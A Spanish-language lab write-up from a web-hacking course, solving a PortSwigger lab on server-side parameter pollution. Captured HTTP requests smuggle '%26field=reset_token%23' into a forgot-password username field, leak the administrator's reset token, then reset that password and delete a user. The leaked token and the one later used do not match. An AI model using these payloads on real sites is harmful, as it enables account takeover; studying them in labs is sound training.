😎
WEB
YouTubeTwitterLinkedIn
  • La Biblia del Hacking en Web
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende Hacking Web con los laboratorios de PortSwigger
  • SQL Injection
    • ¿SQL Injection?
    • Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
    • Lab 2: SQL injection vulnerability allowing login bypass
    • Lab 3: SQL injection attack, querying the database type and version on Oracle
    • Lab 4: SQL injection attack, querying the database type and version on MySQL and Microsoft
    • Lab 5: SQL injection attack, listing the database contents on non-Oracle databases
    • Lab 6: SQL injection attack, listing the database contents on Oracle
  • Cross Site Scripting
    • ¿XSS?
    • Lab 1: Reflected XSS into HTML context with nothing encoded
    • Lab 2: Stored XSS into HTML context with nothing encoded
    • Lab 3: DOM XSS in document.write sink using source location.search
    • Lab 4: DOM XSS in innerHTML sink using source location.search
    • Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source
  • ClickJacking
    • ¿Clickjacking?
    • Lab 1: Basic clickjacking with CSRF token protection
  • Access control vulnerabilities
    • ¿Control de Acceso?
    • Lab 1: Unprotected admin functionality
    • Lab 3: User role controlled by request parameter
  • Path traversal
    • ¿Path Traversal?
    • Lab 1: File path traversal, simple case
    • Lab 2: File path traversal, traversal sequences blocked with absolute path bypass
    • Lab 3: File path traversal, traversal sequences stripped non-recursively
  • XML external entity (XXE) injection
    • ¿XML external entity?
    • Lab 1: Exploiting XXE using external entities to retrieve files
    • Lab 2: Exploiting XXE to perform SSRF attacks
    • Lab 3: Blind XXE with out-of-band interaction
  • JWT
    • ¿JWT?
    • Lab 1: JWT authentication bypass via unverified signature
    • Lab 2: JWT authentication bypass via flawed signature verification
    • Lab 3: JWT authentication bypass via weak signing key
    • Lab 4: JWT authentication bypass via jwk header injection
    • Lab 5: JWT authentication bypass via jku header injection
  • Server-side request forgery (SSRF)
    • ¿SSRF?
    • Lab 1: Basic SSRF against the local server
  • OS command injection
    • ¿OS Command Injection?
    • Lab 1: OS command injection, simple case
  • Authentication
    • ¿Authentication?
    • Lab 1: Username enumeration via different responses
  • HTTP request smuggling
    • ¿HTTP request smuggling?
    • Lab 1: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
  • Server-side template injection
    • ¿Server-side template injection?
    • Lab 1: Basic server-side template injection
  • DOM-based vulnerabilities
    • Lab 1: DOM XSS using web messages
    • Lab 2: DOM XSS using web messages and a JavaScript URL
  • WebSockets
    • Lab #1: Manipulating WebSocket messages to exploit vulnerabilities
  • Prototype pollution
    • ¿Prototype Pollution?
    • Lab 1: Client-side prototype pollution via browser APIs
      • Utilizando DOM Invader
    • Lab 2: DOM XSS via client-side prototype pollution
    • Lab 3: DOM XSS via an alternative prototype pollution vector
      • Utilizando DOM Invader
    • Lab 4: Client-side prototype pollution via flawed sanitization
    • Lab 5: Client-side prototype pollution in third-party libraries
    • Lab 6: Privilege escalation via server-side prototype pollution
    • Lab 7: Detecting server-side prototype pollution without polluted property reflection
    • Lab 8: Bypassing flawed input filters for server-side prototype pollution
    • Lab 9: Remote code execution via server-side prototype pollution
    • Lab 10: Exfiltrating sensitive data via server-side prototype pollution
  • GraphQL
    • Lab 1: Accessing private GraphQL posts
  • Web cache poisoning
    • Lab 1: Web cache poisoning with an unkeyed header
  • CORS
    • Lab #2 - CORS vulnerability with trusted null origin
    • Lab 3: CORS vulnerability with trusted insecure protocols
  • API testing
    • Lab #1: Exploiting an API endpoint using documentation
    • Lab #2: Exploiting server-side parameter pollution in a query string
    • Lab #3: Finding and exploiting an unused API endpoint
    • Lab #4: Exploiting a mass assignment vulnerability
    • Lab #5: Exploiting server-side parameter pollution in a REST URL
Con tecnología de GitBook
En esta página

¿Te fue útil?

  1. API testing

Lab #2: Exploiting server-side parameter pollution in a query string

Clickeamos sobre "Olvide contraseña" y se genera la siguiente peticion:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 60
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator

Y esto responde asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

Y cambiamos el administratror a:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 67
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administratorspartan

Esto indica la posibilidad de enumerar usuarios activos en el sistema:

Debido a que la peticion previa respondio asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 61

{"type":"ClientError","code":400,"error":"Invalid username."}

Se procede a validar el siguiente payload:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 66
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26x=y

Y lo anterior respondio asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 40

{"error": "Parameter is not supported."}

Tambien se decide enviar este payload:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%23

Lo cual respondio asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"error": "Field not specified."}

Observa que esto devuelve un mensaje de error indicando "Field not specified". Esto sugiere que la consulta en el servidor podría incluir un parámetro adicional llamado field, el cual ha sido eliminado debido al carácter #

Por lo anterior, se envia la siguiente peticion:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 73
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=x%23

Y esto responde asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58

{"type":"ClientError","code":400,"error":"Invalid field."}

Utilicemos Intruder para identificar el nombre del campo y usaremos un simple list llamado Server-side variable names:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 77
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=email%23

Y esto responde asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

Durante la interaccion inicial se identifico el siguiente archivo:

GET /static/js/forgotPassword.js HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Accept-Encoding: gzip, deflate, br
Accept-Language: es-CO,es-419;q=0.9,es;q=0.8,en;q=0.7
Priority: u=1, i

Y el contenido de este archivo JavaScript:

forgotPassword.js
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

Y en este archivo se identifica la siguiente linea:

const resetToken = urlParams.get('reset-token');

Y debido a lo anterior, se enviara esta peticion:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 83
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=reset_token%23

y esto responde asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66

{"result":"6wv2ep1u0yx85eyg67xt6oqrmbq84xej","type":"reset_token"}

Usando la informacion previamente obtenida construimos la peticion:

GET /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net

Esto nos redirecciona a un formulario que permite cambiar la contraseña para el usuario indicado administrator.

Y al enviar la peticion de cambio de password se genera asi:

POST /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 132
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd&new-password-1=123456789&new-password-2=123456789

Luego de eso eliminamos a carlos para finalizar el reto.

AnteriorLab #1: Exploiting an API endpoint using documentationSiguienteLab #3: Finding and exploiting an unused API endpoint

Última actualización hace 3 meses

¿Te fue útil?